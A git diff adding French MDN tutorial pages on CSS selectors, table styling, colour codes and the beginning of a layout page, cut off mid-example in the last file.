diff --git a/files/fr/conflicting/learn/css/building_blocks/selectors_9bc80fea302c91cd60fb72c4e83c83e9/index.html b/files/fr/conflicting/learn/css/building_blocks/selectors_9bc80fea302c91cd60fb72c4e83c83e9/index.html new file mode 100644 index 0000000000..9371d826b3 --- /dev/null +++ b/files/fr/conflicting/learn/css/building_blocks/selectors_9bc80fea302c91cd60fb72c4e83c83e9/index.html @@ -0,0 +1,207 @@ +--- +title: Les sélecteurs +slug: CSS/Premiers_pas/Les_sélecteurs +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/CSS/Building_blocks/Selectors +translation_of_original: Web/Guide/CSS/Getting_started/Selectors +--- +

 

+ +

Cette page explique comment appliquer des styles de manière sélective, et les priorités des différents types de sélecteurs.

+ +

Vous ajouterez quelques attributs aux balises de votre document exemple, et vous utiliserez ces attributs dans votre feuille de style.

+ +

Information : les sélecteurs

+ +

CSS a sa propre terminologie pour décrire le langage CSS. Précédemment dans ce tutoriel, vous avez créé une ligne dans votre feuille de style comme ceci :

+ +
+
strong {color: red;}
+
+
+ +

Dans la terminologie CSS, toute cette ligne est une règle. Cette règle commence avec strong, qui est un sélecteur. Celui-ci sélectionne les éléments dans le DOM sur lesquels la règle va s'appliquer.

+ + + + + + + + +
Plus de détails
La partie à l'intérieur des crochets courbes est la déclaration. +

Le mot-clé color est une propriété, et red est une valeur.

+ +

Le point virgule après la valeur de propriété sépare celle-ci d'autres paires de propriétés/valeurs pour le même sélecteur.

+ +

Ce tutoriel se réfère à un sélecteur comme strong comme à un sélecteur de balise. La spécification CSS s'y réfère comme à un sélecteur de type.

+
+ +


+ Cette page du tutoriel donne plus de détails sur les sélecteurs utilisables dans les règles CSS. Outre les noms de balise, il est possible d'utiliser des valeurs d'attribut dans les sélecteurs. Cela permet au règles d'être plus spécifiques.

+ +

Deux attributs ont un statut spécial pour CSS. Ce sont les attributs class et id.

+ +

Utilisez l'attribut class dans une balise pour lui assigner une classe nommée. Vous pouvez choisir le nom qui vous convient pour cette classe.

+ +

Dans votre feuille de style, entrez un point avant le nom de la classe lorsque vous l'utilisez dans un sélecteur.

+ +

Utilisez l'attribut id dans une balise pour lui assigner un identifiant unique. Vous pouvez choisir le nom qui vous convient pour l'identifiant. Celui-ci doit cependant être unique au sein du document.

+ +

Dans votre feuille de style, entrez un signe dièse (carré) avant l'identifiant lorsque vous l'utilisez dans un sélecteur.

+ + + + + + + + +
Exemples
Cette balise HTML a à la fois un attribut class et un attribut id : +
+ 
+<P class="clef" id="principale">
+
+
+ +

L'identifiant, principale, doit être unique dans le document, mais d'autres balises dans le document peuvent avoir le même nom de classe, clef.

+ +

Dans une feuille de style CSS, cette règle rend tous les éléments de la classe clef verts. (Ils peuvent ne pas tous être des éléments P .)

+ +
+ 
+.clef {color: green;}
+
+
+ +

Cette règle rend l'élément avec l'identifiant principale gras :

+ +
+ 
+#principale {font-weight: bolder;}
+
+
+
+ +

Si plus d'une règle s'applique à un élément et spécifie la même propriété, CSS donne la priorité à la règle ayant le sélecteur le plus spécifique. Un sélecteur id est plus spécifique qu'un sélecteur de classe, qui lui-même est plus spécifique qu'un sélecteur de balise.

+ + + + + + + + +
Plus de détails
Vous pouvez également combiner le sélecteurs, afin de créer un sélecteur plus spécifique. +

Par exemple, le sélecteur .clef sélectionne tous les éléments qui ont le nom de classe clef. Le sélecteur p.clef sélectionne seulement les éléments P qui ont le nom de classe clef.

+ +

Vous n'êtes pas limité aux deux attributs spéciaux class et id. Vous pouvez spécifier d'autres attributs en utilisant des crochets droits. Par exemple, le sélecteur {{ mediawiki.external('type=button') }} sélectionne tous les éléments qui ont un attribut type avec la valeur button.

+ +

Une prochaine page de ce tutoriel, (Tableaux) a des informations sur les sélecteurs complexes basés sur les relations.

+ +

Pour une information complète sur les sélecteurs, consultez Selectors dans la spécification CSS.

+
+ +


+ Si la feuille de style a des règles conflictuelles et qui sont également spécifiques, alors CSS donne la priorité à la règle qui est définie plus tard dans la feuille de style.

+ +

Lorsque vous avez un problème de conflit de règles, essayez de le résoudre en rendant une des règles plus spécifique, afin qu'elle aie la priorité. Si vous ne pouvez pas faire cela, essayez de déplacer l'une des règles plus près de la fin de la feuille de style pour lui donner la priorité.

+ +

Action : utilisation des sélecteurs class et id

+ +

Éditez votre fichier HTML, et dupliquez le paragraphe par copier-coller. Ajoutez ensuite des attributs id et class à la première copie, et un autre id à la seconde copie comme montré ci-dessous. Sinon, copiez et collez à nouveau l'entièreté du fichier :

+ +
+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+  <HEAD>
+  <TITLE>Document exemple</TITLE>
+  <LINK rel="stylesheet" type="text/css" href="style1.css">
+  </HEAD>
+  <BODY>
+    <P id="premier">
+      <STRONG class="carotte">C</STRONG>ascading
+      <STRONG class="epinard">S</STRONG>tyle
+      <STRONG class="epinard">S</STRONG>heets
+    </P>
+    <P id="second">
+      <STRONG>C</STRONG>ascading
+      <STRONG>S</STRONG>tyle
+      <STRONG>S</STRONG>heets
+    </P>
+  </BODY>
+</HTML>
+
+
+ +

Éditez à présent votre fichier CSS. Remplacez l'entièreté de son contenu par :

+ +
+
strong {color: red;}
+.carotte {color: orange;}
+.epinard {color: green;}
+#premier {font-style: italic;}
+
+
+ +

Actualisez dans votre navigateur et voyez le résultat :

+ + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+ +

Vous pouvez essayer d'ordonner différemment les lignes dans votre fichier CSS pour constater que leur ordre n'a aucune importance.

+ +

Les sélecteurs de classe .carotte et .epinard ont priorité sur le sélecteur de balise strong.

+ +

Le sélecteur d'id #premier a priorité sur les sélecteurs de classe et de balise.

+ + + + + + + + +
Challenges
Sans modifier votre fichier HTML, ajoutez une seule règle à votre fichier CSS qui garde la même couleur pour toutes les lettres initiales que précédemment, mais rend le reste du texte du second paragraphe bleu : + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+ +

À présent, changez la règle que vous venez d'ajouter (sans rien changer d'autre), pour rendre le premier paragraphe bleu également :

+ + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+
+ +

 

+ +

Pour continuer

+ +

Si vous avez eu des difficultés à comprendre cette page, ou avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

+ +

Votre feuille de style d'exemple commence à avoir l'air dense et compliquée. La page suivante décrit des façons de rendre CSS plus facile à lire : Des CSS lisibles

diff --git a/files/fr/conflicting/learn/css/building_blocks/styling_tables/index.html b/files/fr/conflicting/learn/css/building_blocks/styling_tables/index.html new file mode 100644 index 0000000000..9fcc9dbd2d --- /dev/null +++ b/files/fr/conflicting/learn/css/building_blocks/styling_tables/index.html @@ -0,0 +1,602 @@ +--- +title: Tableaux +slug: CSS/Premiers_pas/Tableaux +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/CSS/Building_blocks/Styling_tables +translation_of_original: Web/Guide/CSS/Getting_started/Tables +--- +

 

+

Cette page présente des sélecteurs plus avancés, et certaines manières spécifiques de styler les tableaux.

+

Vous créerez un nouveau document contenant un tableau, et une feuille de style pour celui-ci.

+

Information : d'autres sélecteurs

+

CSS propose plusieurs manières de sélectionner des éléments sur base de leur relation avec d'autres éléments. Vous pouvez utiliser celles-ci pour créer des sélecteurs plus spécifiques.

+

Voici un résumé des sélecteurs basés sur les relations :

+ + + + + + + + + + + + + + + + + + + + + + + +
SélecteurSélectionne
A ETout élément E qui est un descendant d'un élément A (c'est-à-dire un enfant, ou l'enfant d'un enfant, etc.)
A > ETout élément E qui est un enfant direct d'un élément A
E:first-childTout élément E qui est le premier enfant de son parent
B + ETout élément E qui est le frère d'un élément B (c'est-à-dire l'enfant suivant du même parent)
+

Vous pouvez combiner ceux-ci pour exprimer des relations complexes.

+

Vous pouvez également utiliser le symbole * (astérisque) pour désigner « n'importe quel élément. »

+ + + + + + + +
+ Exemple
Un tableau HTML a un attribut id, mais ses lignes et cellules n'ont pas d'identifiants individuels : +
+ 
+<TABLE id="data-table-1">
+...
+<TR>
+<TD>Préfixe</TD>
+<TD>0001</TD>
+<TD>par défaut</TD>
+</TR>
+...
+
+
+

Ces règles rendent la première cellule de chaque ligne en gras, et la seconde cellule de chaque ligne en largeur fixe. Elles affectent un tableau spécifique dans le document :

+
+

#data-table-1 td:first-child {font-weight: bolder;} #data-table-1 td:first-child + td {font-family: monospace;}

+
+

Le résultat ressemble à ceci :

+ + + + + + +
+ + + + + + + + +
Préfixe0001par défaut
+
+
+ + + + + + + +
+ Plus de détails
Comme d'habitude, si vous rendez un sélecteur plus spécifique, vous augmentez sa priorité. +

Si vous utilisez ces techniques, vous évitez le besoin de spécifier des attributs class ou id sur une énorme quantité de balises dans votre document. Au lieu de cela, c'est CSS qui fait tout le travail.

+

Dans de grosses mises en pages où la vitesse est importante, vous pouvez rendre vos feuilles de style plus performantes en évitant les règles complexes qui dépendent des relations entre éléments.

+

Pour plus de détails sur les sélecteurs, consultez Selectors dans la spécification CSS.

+
+

Information : les tableaux

+

Un tableau est un arrangement d'informations dans une grille rectangulaire. Certains tableaux peuvent être complexes, et pour des tableaux complexes les résultats peuvent être différents selon le navigateur.

+

Lorsque vous concevez votre document, utilisez un tableau pour exprimer les relations entre les pièces d'information. Dans ce cas, cela n'a pas d'importance si différents navigateurs présentent les informations de manière légèrement différente, puisque leur signification reste claire.

+

N'utilisez pas les tableaux de manière inhabituelle pour produire des mises en page visuelles particulières. Les techniques présentées sur la page précédente (Mise en page) sont plus appropriées pour cela.

+

Structure d'un tableau

+

Dans un tableau, chaque élément d'information est affiché dans une cellule.

+

Une rangée horizontale de cellules forme une ligne.

+

Dans certains tableaux, les lignes peuvent être groupées. Un groupe spécial de lignes au début du tableau est un en-tête (header) de tableau. Un groupe spécial de lignes en fin de tableau est un pied (footer) de tableau. Les lignes principales sont le corps (body) du tableau, et peuvent également former des groupes.

+

Les cellules alignées verticalement forment une colonne, mais les colonnes ont une utilisation limitée en CSS.

+ + + + + + + +
+ Exemple
Le tableau des sélecteurs en début de page contient dix cellules réparties en cinq lignes. +

La première ligne est l'en-tête. Les quatre autres lignes sont le corps du tableau. Il n'y a pas de pied de tableau.

+

Il y a deux colonnes.

+
+


+ Ce tutoriel couvre uniquement les tableaux simples, où les résultats sont relativement prévisibles. Dans un tableau simple, chaque cellule occupe uniquement une ligne et une colonne. Vous pouvez utiliser CSS pour des tableaux complexes ou les cellules s'étendent au travers de plus d'une ligne ou colonne, mais de telles tables dépassent le sujet de ce tutoriel basique.

+

Bordures

+

Les cellules n'ont pas de marge extérieure (margin).

+

Les cellules ont des bordures et des marges intérieures (padding). Par défaut, les bordures sont séparées par la valeur de la propriété border-spacing du tableau. Vous pouvez également supprimer tout à fait cet espace en définissant la propriété border-collapse du tableau à collapse.

+ + + + + + + +
+ Exemple
Voici trois tableaux. +

Le tableau de gauche a un espacement entre les bordures de 0.5 em. Le tableau central a un espacement nul entre ses bordures. Dans le tableau de droite, cet espacement a été supprimé avec collapse :

+ + + + + + + + +
+ + + + + + + + + + + +
TrèfleCœur
CarreauPique
+ 		+ + + + + + + + + + + +
TrèfleCœur
CarreauPique
+ 		+ + + + + + + + + + + +
TrèfleCœur
CarreauPique
+
+
+

Légendes

+

Une légende (caption) est un label qui s'applique à l'entièreté du tableau. Par défaut, elle est affichée en haut du tableau.

+

Pour la déplacer en bas, définissez sa propriété caption-side à bottom (en bas). La propriété est héritée, vous pouvez donc aussi la définir sur le tableau complet, ou un autre ancêtre de l'élément.

+

Pour styler le texte de la légende, utilisez n'importe laquelle des propriétés habituelles du texte.

+ + + + + + + +
+ Exemple
Ce tableau a une légende placée en dessous : +
+ 
+#demo-table > caption {
+  caption-side: bottom;
+  font-style: italic;
+  text-align: right;
+  }
+
+
+ + + + + + +
+ + + + + + + +
+ Suites
+ + + + + + + + + + + +
TrèfleCœur
CarreauPique
+
+
+
+

Cellules vides

+

Il est possible d'afficher des cellules vides (c'est-à-dire leurs bordures et fonds) en spéficiant empty-cells: show; pour l'élément table.

+

Vous pouvez les masquer en spécifiant empty-cells: hide;. Dans ce cas, si un élément parent a un fond, il sera visible à travers la cellule vide.

+ + + + + + + +
+ Exemple
Ces tableaux ont un fond vert pâle. Leurs cellules ont un fond gris pâle et des bords gris foncé. +

Dans le tableau de gauche, la cellule vide est affichée. Dans celui de droite, celle-ci est masquée :

+ + + + + + + +
+ + + + + + + + + + + +
 Cœur
CarreauPique
+ 		+ + + + + + + + + + + +
 Cœur
CarreauPique
+
+
+

 

+ + + + + + + +
+ Plus de détails
Pour des informations détaillées concernant les tableaux, consultez Tables dans la spécification CSS. +

Les informations qui s'y trouvent vont plus loin que ce tutoriel, mais elles ne couvrent pas les différences entre navigateurs qui peuvent affecter les tableaux complexes.

+
+

Action : habillage d'un tableau

+

Créez un nouveau document HTML, doc3.html. Copiez et collez-y le contenu ci-dessous, en vous assurant de le faire défiler jusqu'en bas pour en obtenir la totalité :

+
+ 
<DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+<HEAD>
+<TITLE>Document exemple 3</TITLE>
+<LINK rel="stylesheet" type="text/css" href="style3.css">
+</HEAD>
+<BODY>
+
+<TABLE id="demo-table">
+<CAPTION>Les océans</CAPTION>
+
+<THEAD>
+<TR>
+<TH></TH>
+<TH>Surface</TH>
+<TH>Profondeur moyenne</TH>
+</TR>
+<TR>
+<TH></TH>
+<TH>millions de km<SUP>2</SUP></TH>
+<TH>m</TH>
+</TR>
+</THEAD>
+
+<TBODY>
+<TR>
+<TH>Arctique</TH>
+<TD>13 000</TD>
+<TD>1 200</TD>
+</TR>
+<TR>
+<TH>Atlantique</TH>
+<TD>87 000</TD>
+<TD>3 900</TD>
+</TR>
+<TR>
+<TH>Pacifique</TH>
+<TD>180 000</TD>
+<TD>4 000</TD>
+</TR>
+<TR>
+<TH>Indien</TH>
+<TD>75 000</TD>
+<TD>3 900</TD>
+</TR>
+<TR>
+<TH>Antarctique</TH>
+<TD>20 000</TD>
+<TD>4 500</TD>
+</TR>
+</TBODY>
+
+<TFOOT>
+<TR>
+<TH>Total</TH>
+<TD>361 000</TD>
+<TD></TD>
+</TR>
+<TR>
+<TH>Moyenne</TH>
+<TD>72 000</TD>
+<TD>3 800</TD>
+</TR>
+</TFOOT>
+
+</TABLE>
+
+</BODY>
+</HTML>
+
+
+

Créez une nouvelle feuille de style, style3.css. Copiez et collez-y le code ci-dessous, en vous assurant de le faire défiler jusqu'en bas pour en obtenir la totalité :

+
+ 
/*** Style pour doc3.html (Tables) ***/
+
+#demo-table {
+  font: 100% sans-serif;
+  background-color: #efe;
+  border-collapse: collapse;
+  empty-cells: show;
+  border: 1px solid #7a7;
+  }
+
+#demo-table > caption {
+  text-align: left;
+  font-weight: bold;
+  font-size: 200%;
+  border-bottom: .2em solid #4ca;
+  margin-bottom: .5em;
+  }
+
+
+/* règles de base partagées */
+#demo-table th,
+#demo-table td {
+  text-align: right;
+  padding-right: .5em;
+  }
+
+#demo-table th {
+  font-weight: bold;
+  padding-left: .5em;
+  }
+
+
+/* en-tête */
+#demo-table > thead > tr:first-child > th {
+  text-align: center;
+  color: blue;
+  }
+
+#demo-table > thead > tr + tr > th {
+  font-style: italic;
+  color: gray;
+  }
+
+/* taille des valeurs en exposant */
+#demo-table sup {
+  font-size: 75%;
+  }
+
+/* corps du tableau */
+#demo-table td {
+  background-color: #cef;
+  padding:.5em .5em .5em 3em;
+  }
+
+#demo-table tbody th:after {
+  content: " :";
+  }
+
+
+/* pied du tableau */
+#demo-table tfoot {
+  font-weight: bold;
+  }
+
+#demo-table tfoot th {
+  color: blue;
+  }
+
+#demo-table tfoot th:after {
+  content: " :";
+  }
+
+#demo-table > tfoot td {
+  background-color: #cee;
+  }
+
+#demo-table > tfoot > tr:first-child td {
+  border-top: .2em solid #7a7;
+  }
+
+
+

Ouvrez le document dans votre navigateur. Il devrait être très semblable à ceci :

+ + + + + + +
+
+

Les océans

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 SurfaceProfondeur moyenne
 millions de km2m
Arctique :13 0001 200
Atlantique :87 0003 900
Pacifique :180 0004 000
Indien :75 0003 900
Antarctique :20 0004 500
Total :361 000 
Moyenne :72 0003 800
+
+
+
+

Comparez les règles dans la feuille de style avec le tableau tel qu'il est affiché pour vous assurer que vous comprenez les effets de chaque règle. Si vous en trouvez une où ce n'est pas clair, mettez-la en commentaire et actualisez dans votre navigateur pour voir ce qui se produit.

+

Voici quelques notes à propos de ce tableau :

+ +

 

+ + + + + + + +
+ Challenges
Modifiez la feuille de style afin que le tableau ressemble à ceci : + + + + + + +
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 SurfaceProfondeur moyenne
 millions de km2m
Arctique :13 0001 200
Atlantique :87 0003 900
Pacifique :180 0004 000
Indien :75 0003 900
Antarctique :20 0004 500
Total :361 000 
Moyenne :72 0003 800
+
+

Les océans

+
+
+
+

 

+

Pour continuer

+

Si vous avez eu des difficultés à comprendre cette page, ou si vous avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

+

Ceci est la dernière page de ce tutoriel qui concerne les propriétés CSS et leurs valeurs. Pour un résumé complet des propriétés et valeurs, consultez Full property table dans la spécification CSS.

+

La page suivante revient sur le but et la structure des feuilles de style CSS : Médias.

diff --git a/files/fr/conflicting/learn/css/building_blocks/values_and_units/index.html b/files/fr/conflicting/learn/css/building_blocks/values_and_units/index.html new file mode 100644 index 0000000000..24952f7505 --- /dev/null +++ b/files/fr/conflicting/learn/css/building_blocks/values_and_units/index.html @@ -0,0 +1,314 @@ +--- +title: Couleurs +slug: CSS/Premiers_pas/Couleurs +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors +translation_of_original: Web/Guide/CSS/Getting_started/Color +--- +

 

+

Cette page donne plus de détails sur la manière de spécifier les couleurs en CSS.

+

Dans votre exemple de feuille de style, vous ajouterez des couleurs de fond.

+

Information : les couleurs

+

Dans ce tutoriel, jusqu'à présent, vous avez utilisé un nombre limité de couleurs nommées. CSS 2 définit 17 couleurs nommées en tout. Certains des noms peuvent ne pas êtres ce à quoi vous vous attendez :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 black gray silver white 
primairesred lime blue 
secondairesyellow aqua fuchsia 
 maroon orange olive purple green navy teal 
+

 

+ + + + + + + +
+ Plus de détails
Votre navigateur peut supporter de nombreux autres noms de couleurs, comme : + + + + + + + + + + + + + + + +
dodgerblue peachpuff tan firebrick aquamarine 
+

Pour plus de détails et la liste complète, consultez : SVG color keywords dans le module CSS 3 Color. Faites attention à ne pas utiliser de noms de couleurs que le navigateur de vos lecteurs peut ne pas comprendre.

+
+

Pour une palette plus étendue, vous pouvez spécifier les composantes rouges, vertes et bleues de la couleur désirée en utilisant un signe dièse (carré) suivi de trois chiffres + + hexadécimaux + dans l'intervalle 0 – 9, a – f. Les lettres a – f représentent les valeurs 10 – 15:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
noir #000
rouge pur #f00
vert pur #0f0
bleu pur #00f
blanc #fff
+

Pour la palette complète, spécifiez deux chiffres hexadécimaux pour chaque composante :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
noir #000000
rouge pur #ff0000
vert pur #00ff00
bleu pur #0000ff
blanc #ffffff
+

Il est généralement possible d'obtenir ces codes hexadécimaux à six chiffres dans les logiciels de dessin ou d'autres outils.

+ + + + + + + + + + +
+ Exemples
Avec un peu de pratique, vous pouvez ajuster les couleurs à trois chiffres à la main dans la plupart des cas : + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Commencez avec du rouge pur : #f00
Pour le rendre plus pâle, ajoutez un peu de vert et de bleu : #f77
Pour qu'il soit plus orange, ajoutez un peu de vert supplémentaire : #fa7
Pour le rendre plus sombre, réduisez chacune des composantes : #c74
Pour réduire la saturation, égalisez un peu les composantes : #c98
Si vous les rendez exactement égales, vous obtenez du gris : #ccc
+
Pour un ton pastel comme du bleu pâle : + + + + + + + + + + + + + +
Commencez avec du blanc pur : #fff
Réduisez légèrement les autres composantes : #eef
+
+

 

+ + + + + + + +
+ Plus de détails
Vous pouvez également spécifier une couleur à l'aide de valeurs RGB décimales dans l'intervalle 0 – 255, ou des pourcentages. +

Par exemple, ceci est marron (rouge sombre) :

+
+ 
+rgb(128, 0, 0)
+
+
+


+ Pour plus de détails sur la manière de spécifier des couleurs, consultez Colors dans la spécification CSS.

+

Pour des informations sur l'utilisation des couleurs système comme celle des menus ou des bordures 3D, consultez CSS2 System Colors dans la spécification CSS.

+
+

 

+

Propriétés de couleur

+

Vous avez déjà utilisé la propriété color pour le texte.

+

Vous pouvez également utiliser background-color pour changer la couleur de fond de certains éléments.

+

Les fonds peuvent êtres définis à transparent pour enlever explicitement toute couleur, permettant de voir le fond de l'élément parent.

+ + + + + + + +
+ Exemple
Les boîtes Exemple dans ce tutoriel utilisent cette couleur de fond jaune pâle : +
+ 
+background-color: #fffff4;
+
+
+

Les boîtes Plus de détails utilisent ce gris pâle :

+
+ 
+background-color: #f4f4f4;
+
+
+
+

Action : utilisation des codes de couleur

+

Éditez votre fichier CSS. Effectuez le changement montré ici en gras pour donner aux lettres initiales un fond bleu pâle. (La mise en page et les commentaires dans votre fichier seront probablement différents du fichier montré ici. Conservez la mise en page et les commentaires de la manière qui vous convient.)

+
+ 
/*** Tutoriel CSS : page des couleurs ***/
+
+/* police de la page */
+body {font: 16px "Comic Sans MS", cursive;}
+
+/* paragraphes */
+p {color: blue;}
+#premier {font-style: italic;}
+
+/* lettres initiales */
+strong {
+  color: red;
+  background-color: #ddf;
+  font: 200% serif;
+  }
+
+.carotte {color: red;}
+.epinard {color: green;}
+
+
+

Actualisez dans votre navigateur pour voir le résultat :

+ + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+

 

+ + + + + + + +
+ Challenge
Dans votre fichier CSS, changez tous les noms de couleur en codes hexadécimaux à trois chiffres sans affecter le résultat. +

(Ceci ne peut pas être fait exactement, mais vous pouvez arriver tout près. Pour que ce soit exact, vous aurez besoin des codes à six chiffres et de regarder dans la spécification CSS ou utiliser un outil graphique pour obtenir les valeurs précises.)

+
+

 

+

Pour continuer

+

Votre document d'exemple et votre feuille de style séparent strictement le contenu du style.

+

La page suivante explique comment vous pouvez faire des exceptions à cette séparation stricte : Contenu.

diff --git a/files/fr/conflicting/learn/css/css_layout/index.html b/files/fr/conflicting/learn/css/css_layout/index.html new file mode 100644 index 0000000000..f8d9872975 --- /dev/null +++ b/files/fr/conflicting/learn/css/css_layout/index.html @@ -0,0 +1,373 @@ +--- +title: Mise en page +slug: CSS/Premiers_pas/Mise_en_page +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/CSS/CSS_layout +translation_of_original: Web/Guide/CSS/Getting_started/Layout +--- +

 

+

Cette page présente plusieurs manières d'ajuster la mise en page de votre document.

+

Vous modifierez la mise en page de votre document exemple...

+

Information : mise en page

+

Vous pouvez utiliser CSS pour spécifier de nombreux effets visuels changeant la mise en page de votre document. Certaines de ces techniques sont très avancées et dépassent de loin le niveau de tutoriel basique.

+

Lorsque vous réalisez une mise en page qui doit apparaître d'une manière similaire dans de nombreux navigateurs, votre feuille de style interagit avec le style par défaut du navigateur et le moteur de rendu de manières qui peuvent s'avérer complexes. Ce sujet n'est pas non plus couvert par ce tutoriel.

+

Cette page décrit certaines techniques simples que vous pouvez essayer.

+

Structure du document

+

Si vous voulez contrôler la mise en page de votre document, il peut être nécessaire de changer sa structure.

+

Le langage de balisage de votre document peut disposer de balises générales créant une certaine structure. Par exemple, dans HTML vous pouvez utiliser la balise DIV pour créer une telle structure.

+ + + + + + + +
+ Exemple
Dans votre document d'exemple, les paragraphes numérotés sous le second titre n'ont aucun conteneur propre. +

Votre feuille de style ne peut pas dessiner une bordure autour de ces paragraphes, puisqu'il n'y a pas d'élément qui peut être spécifié dans le sélecteur.

+

Pour régler ce problème structurel, vous pouvez ajouter une balise DIV autour des paragraphes. Cette balise sera rendue unique en étant identifiée par un attribut id :

+
+ 
+<H3 class="numerote">Paragraphes numérotés</H3>
+<DIV id="numerote">
+<P class="numerote">Lorem ipsum</P>
+<P class="numerote">Dolor sit</P>
+<P class="numerote">Amet consectetuer</P>
+<P class="numerote">Magna aliquam</P>
+<P class="numerote">Autem veleum</P>
+</DIV>
+
+
+

À présent, votre feuille de style peut utiliser une règle pour ajouter des bordures autour des deux listes.

+
+ 
+ul, #numerote {
+  border: 1em solid #69b;
+  padding-right:1em;
+  }
+
+
+

Le résultat devrait ressembler à ceci :

+ + + + + + +
+

(A) Les océans

+
+
    +
  • Arctique
    • +
  • Atlantique
    • +
  • Pacifique
    • +
  • Indien
    • +
  • Antarctique
    • +
+
+

(B) Paragraphes numérotés

+
+

1 : Lorem ipsum

+

2 : Dolor sit

+

3 : Amet consectetuer

+

4 : Magna aliquam

+

5 : Autem veleum

+
+
+
+

Unités de mesure

+

Jusqu'à présent, dans ce tutoriel, nous avont spécifié les tailles en pixels (px). Ceux-ci sont appropriés pour certains usages sur un dispositif d'affichage comme un écran d'ordinateur, mais dès que l'utilisateur change la taille de police, votre mise en page peut être affectée négativement.

+

Dans de nombreux cas il est préférable de spécifier les tailles en pourcentages ou en ems (em). Un em est défini comme la taille de police actuelle (théoriquement la largeur d'une lettre m). Lorsque l'utilisateur change la taille de police, votre mise en page s'ajustera donc automatiquement.

+ + + + + + + +
+ Exemple
La bordure à gauche de ce texte a son épaisseur spécifiée en pixels. La bordure de droite a son épaisseur spécifiée en ems. +

Dans votre navigateur, changez la taille de police pour observer la façon dont la bordure de droite s'ajuste, mais pas celle de gauche :

+ + + + + + +
+
+ Veuillez me redimensionner
+
+
+ + + + + + + +
+ Plus de détails
Pour d'autres périphériques, d'autres unités de longueur seront plus appropriées. +

Plus d'informations à ce sujet sont disponibles dans une prochaine page de ce tutoriel.

+

Pour plus de détails sur les valeurs et les unités que vous pouvez utiliser, consultez Values dans la spécification CSS.

+
+

Alignement du texte

+

Deux propriétés spécifient la manière dont le contenu d'un élement est aligné. Vous pouvez les utiliser pour des ajustements simples de la mise en page :

+ +
+
+ Aligne le contenu. Utiilisez une de ces valeurs : left (à gauche), right (à droite), center (centré), justify (justifié)
+
+ +
+
+ Donne une certaine retrait (indentation) au contenu, de la largeur spécifiée.
+
+

Ces propriétés s'appliquent à tout contenu semblable à du texte dans l'élément, pas uniquement au texte proprement dit. N'oubliez pas qu'elles sont héritées par les enfants de l'élément, ce qui peut vous obliger à les désactiver explicitement dans les éléments enfants pour éviter certains résultats surprenants.

+ + + + + + + +
+ Exemple
Pour centrer les titres : +
+ 
+h3 {
+  border-top: 1px solid gray;
+  text-align: center;
+  }
+
+
+

Ce qui donne :

+ + + + + + +
+

(A) Les océans

+
+

Dans un document HTML, le contenu que vous voyez sous un titre n'est pas structurellement contenu par ce titre. Par conséquent, lorsque vous alignez un titre de cette manière, les balises situées en dessous n'héritent pas du style.

+
+

Les éléments flottants

+

La propriété float force un élément à se placer à gauche ou à droite. C'est une manière simple de contrôler sa position et sa taille.

+

Le reste du contenu du document s'écoule normalement autour de l'élément flottant. Vous pouvez contrôler ceci à l'aide de la propriété clear sur d'autres éléments pour les désolidariser des éléments flottants et les ramener en dessous.

+ + + + + + + +
+ Exemple
Dans votre document d'exemple, les listes s'étalent sur toute la largeur de la fenêtre. Vous pouvez les en empêcher en les faisant flotter à gauche. +

Pour que les titres restent en place, vous devez également spécifier qu'ils resteront à l'écart des éléments flottants à leur gauche :

+
+ 
+ul, #numerote {float: left;}
+h3 {clear: left;}
+
+
+

Le résultat devrait ressembler à ceci :

+ + + + + + +
+

(A) Les océans

+
+
    +
  • Arctique
    • +
  • Atlantique
    • +
  • Pacifique
    • +
  • Indien
    • +
  • Antarctique
    • +
+
+

(B) Paragraphes numérotés

+
+

1 : Lorem ipsum

+

2 : Dolor sit

+

3 : Amet consectetuer

+

4 : Magna aliquam

+

5 : Autem veleum

+
+
+

(Une petite marge intérieure est nécessaire à droite des boîtes, là où la bordure est trop proche du texte.)

+
+

Positionnement

+

Vous pouvez spécifier la position d'un élément de quatre manières différentes à l'aide de la propriété position et de l'une des valeurs suivantes.

+

L'utilisation de ces propriétés peut être très avancée. Il est cependant possible de les utiliser de manière simple — c'est pourquoi elles sont mentionnées dans ce tutoriel basique. Mais leur utilisation dans des mises en page complexes peut s'avérer difficile.

+ +
+
+ La position de l'élément est déplacée relativement à sa position normale.
+
+ Utilisez ceci pour déplacer un élément d'une certaine distance spécifiée. Dans certains cas, vous pouvez aussi utiliser les marges de l'élément pour obtenir le même effet.
+
+ +
+
+ La position de l'élément est fixée.
+
+ Spécifie la position de l'élément relativement à la fenêtre du document. Même si le reste du document défile, l'élément reste en place.
+
+ +
+
+ La position de l'élément est fixée relativement à un élément parent.
+
+ Cela fonctionnera uniquement lorsque l'élément parent est lui-même positionné avec relative, fixed ou absolute.
+
+
+
+ Vous pouvez rendre n'importe quel élément parent utilisable pour ceci en lui spécifiant une position: relative; sans par ailleurs lui spécifier aucun déplacement.
+
+ +
+
+ La valeur par défaut. Utilisez cette valeur pour désactiver explicitement les autres sortes de positionnement.
+
+

En complément de ces valeurs de la propriété position (à l'exception de static), spécifiez une ou plusieurs de ces propriétés : top (haut), right (droite), bottom (bas), left (gauche), width (largeur), height (hauteur) pour identifier où l'élément doit se positionner, et éventuellement sa taille.

+ + + + + + + +
+ Exemple
